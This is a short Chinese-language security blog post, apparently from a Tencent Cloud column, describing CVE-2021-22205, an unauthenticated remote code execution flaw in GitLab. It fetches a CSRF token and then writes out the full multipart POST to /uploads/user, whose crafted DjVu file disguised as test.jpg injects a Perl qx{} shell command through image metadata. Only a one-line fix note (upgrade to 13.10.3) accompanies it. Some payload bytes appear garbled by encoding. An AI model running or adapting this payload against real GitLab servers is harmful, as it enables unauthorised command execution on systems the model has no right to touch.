CVE-2021-22205 GitLab未授权 RCE

Khan安全团队

发布于 2021-11-05 10:35:18

8550

发布于 2021-11-05 10:35:18

文章被收录于专栏：Khan安全团队

参考： https://hackerone.com/reports/1154542

获取X-CSRF-Token

GET /users/sign_in

RCE

POST /uploads/user
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5
X-CSRF-Token: {{csrf-token}}
Content-Disposition: form-data; name="file"; filename="test.jpg"
Content-Type: image/jpeg

AT&TFORM  疍JVMDIRM   .?    F   ?蘅?!葢N?亿堣k鍰,q領觧暯⒚"?FORM   ^DJVUINFO   
   d  INCL   shared_anno.iff BG44    J  婃岜7?*? BG44   鶡BG44   
FORM  DJVIANTa  P(metadata
  (Copyright "\
" . qx{echo vakzz >/tmp/vakzz} . \
" b ") )

修复建议：

GitLab 版本 13.10.3已修复更新

本文参与腾讯云自媒体同步曝光计划，分享自微信公众号。

原始发表：2021-10-29，如有侵权请联系 cloudcommunity@tencent.com 删除

gitlab